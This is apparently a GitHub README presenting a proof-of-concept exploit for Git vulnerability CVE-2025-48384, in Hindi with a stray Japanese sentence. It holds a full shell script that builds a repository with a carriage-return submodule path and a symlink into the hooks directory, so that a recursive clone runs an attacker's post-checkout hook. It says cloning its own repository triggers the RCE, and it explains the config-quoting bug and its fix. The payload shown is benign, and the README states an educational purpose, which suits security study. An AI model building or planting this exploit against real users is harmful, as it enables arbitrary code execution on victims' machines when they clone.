
CVE-2025-48384 PoC
यह रिपॉजिटरी सुरक्षा शिक्षा के उद्देश्य से बनाई गई है।
कृपया इसका दुरुपयोग न करें।
इस कमजोरी के लिए निर्देशिका नाम में \r शामिल करना आवश्यक है,
इसलिए Linux/Unix प्रणालियाँ प्रभावित होती हैं।
नीचे प्रभावित Git संस्करण दिए गए हैं।
निम्नलिखित कमांड से इस रिपॉजिटरी को क्लोन करने पर भी RCE सफल होता है।
※ निष्पादित करते समय पर्याप्त सावधानी बरतें।
git clone --recursive https://github.com/IK-20211125/CVE-2025-48384
निम्नलिखित सबमॉड्यूल रिपॉजिटरी के post-checkout में कमांड निष्पादित होता है।
#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
#!/bin/zsh
git init sub
echo '#!/usr/bin/env bash
touch /tmp/CVE-2025-48384
' > sub/post-checkout
chmod +x sub/post-checkout
git -C sub add post-checkout
git -C sub commit -m hook
git init CVE-2025-48384
git -C CVE-2025-48384 -c protocol.file.allow=always submodule add "$PWD/sub" sub
git -C CVE-2025-48384 mv sub "$(printf "sub\r")"
git config unset -f CVE-2025-48384/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> CVE-2025-48384/.gitmodules
ln -s .git/modules/sub/hooks CVE-2025-48384/sub
git -C CVE-2025-48384 add -A
git -C CVE-2025-48384 commit -m submodule
git -c protocol.file.allow=always clone --recurse-submodules CVE-2025-48384 bad-clone
इसे यहाँ के संदर्भ में बनाया गया है। दो बिंदुओं में बदलाव किया गया है।
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
पहले, RCE क्यों संभव होता है, इस बिंदु पर,
यह कमजोरी Git के hooks नामक मानक सुविधा का उपयोग करती है।
hooks को सरल शब्दों में समझाएं तो,
「特定のイベント (コミットなど) が発生した際に、事前に設定したスクリプトを実行できる機能」です。
यह कमजोरी .git के अंदर post-checkout नामक फ़ाइल का उपयोग करती है जो चेकआउट के समय निष्पादित होती है।
हालांकि, यह फ़ाइल मूल रूप से केवल स्थानीय रूप से संभाली जा सकती है, इसलिए केवल GitHub रिपॉजिटरी को क्लोन करने से,
हमलावर स्वाभाविक रूप से हस्तक्षेप नहीं कर सकता।
Git के \r प्रसंस्करण का उपयोग करके इस बिंदु को पार किया जाता है,
और स्थानीय रूप से ./.git/modules/sub/hooks/ में एक मनमाना post-checkout फ़ाइल रखकर RCE प्राप्त किया जाता है।
Git के \r प्रसंस्करण का उपयोग किया जाता है।
Git की प्रक्रिया के अनुसार संक्षेप में समझाते हैं।
पहले, git clone --recursive {url} का उपयोग करके GitHub पर रिमोट रिपॉजिटरी को स्थानीय रूप से क्लोन करें।
(--recursive जोड़ने पर सबमॉड्यूल भी एक साथ क्लोन होते हैं।)
उस समय, .gitmodules में path नामक पैरामीटर की निर्देशिका में url के सबमॉड्यूल को विस्तारित किया जाता है।
[submodule "sub"]
url = https://github.com/IK-20211125/sub.git
path = "sub"
इस path पैरामीटर की निर्देशिका नाम में निम्नानुसार हेरफेर किया जाता है।
path = "sub\r"
साथ ही, रिपॉजिटरी के अंदर सबमॉड्यूल निर्देशिका का नाम भी sub\r रखें।
इस प्रकार git clone --recursive करने पर,
.gitmodules में path के अनुसार, sub\r निर्देशिका में url से सबमॉड्यूल को विस्तारित करने का प्रयास किया जाएगा।
(.gitmodules में path में कोई निर्देशिका नहीं है, तो सबमॉड्यूल का विस्तार नहीं होगा。)
हालांकि, Git सबमॉड्यूल के अंतिम विस्तार स्थान को .gitmodules के path मान से संदर्भित नहीं करता है।
अंततः यह .git/modules/sub/config में worktree नामक पैरामीटर को संदर्भित करता है।
यह पैरामीटर .gitmodules के path मान के आधार पर लिखा जाता है।
यह लेखन महत्वपूर्ण है।
path = \"sub\r\" को .git/modules/sub/config में worktree में लिखने पर निम्नलिखित रूप होता है।
[core]
workdir = ../../../sub\r
महत्वपूर्ण बात यह है कि यह डबल कोट से घिरा नहीं है।
static ssize_t write_pair(int fd, const char *key, const char *value, [...]
{
[...]
/*
* Check to see if the value needs to be surrounded with a dq pair.
* Note that problematic characters are always backslash-quoted; this
* check is about not losing leading or trailing SP and strings that
* follow beginning-of-comment characters (i.e. ';' and '#') by the
* configuration parser.
*/
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
strbuf_addf(&sb, "\t%s = %s", key + store->baselen + 1, quote);
यदि किसी विशिष्ट स्थान पर स्पेस है,
या कहीं भी ; या # होने पर ही डबल कोट से घिरा होता है,
\r के मामले में यह डबल कोट से घिरा नहीं है।
जब डबल कोट से घिरा नहीं है, तो Git अंत के \r का मूल्यांकन नहीं करता है।
इसलिए, सबमॉड्यूल का विस्तार स्थान ../../../sub हो जाता है।
चूंकि सबमॉड्यूल का नाम sub\r है, इसलिए sub नाम का कोई भी फ़ाइल बनाना संभव है (नाम टकराता नहीं)।
यहां एक सिम्बोलिक लिंक रखा जाता है, और सबमॉड्यूल के विस्तार स्थान को ./.git/modules/sub/hooks/ में बदल दिया जाता है।
sub -> .git/modules/sub/hooks
सबमॉड्यूल के अंदर रखा हमलावर की स्क्रिप्ट फ़ाइल post-checkout,
पीड़ित के स्थानीय ./.git/modules/sub/hooks/ में रखा जा सकता है, और चेकआउट पर निष्पादित हो जाता है।
यह हमला इस कारण सफल होता है कि Git के अंदर \r का प्रसंस्करण बदल जाता है।
.gitmodules को संदर्भित करता है, तो वह डबल कोट से घिरा होता है, इसलिए \r का मूल्यांकन करता है।.git/modules/sub/config को संदर्भित करता है, तो वह डबल कोट से घिरा नहीं होता, इसलिए \r का मूल्यांकन नहीं करता है।इस कमजोरी को ठीक करने वाले Git संस्करण में निम्नानुसार बदलाव किया गया है।
(\r शामिल होने पर डबल कोट से घेरने का बदलाव)
if (value[0] == ' ')
quote = "\"";
for (i = 0; value[i]; i++)
if (value[i] == ';' || value[i] == '#' || value[i] == '\r')
quote = "\"";
if (i && value[i - 1] == ' ')
quote = "\"";
एक समान कमजोरी CVE-2024-32002 है।
यह कमजोरी केस-इनसेंसिटिव फ़ाइल सिस्टम (Windows, MacOS आदि) पर,
CVE-2025-48384 के समान सिम्बोलिक लिंक का उपयोग करके हमलावर को githooks में हस्तक्षेप करने की अनुमति देती है।
निम्नलिखित लेख सहायक है।
https://japanese.opswat.com/blog/analyzing-and-remediating-git-vulnerability-cve-2024-32002
※ यदि सामग्री की व्याख्या में कोई त्रुटि है, तो कृपया बताएं।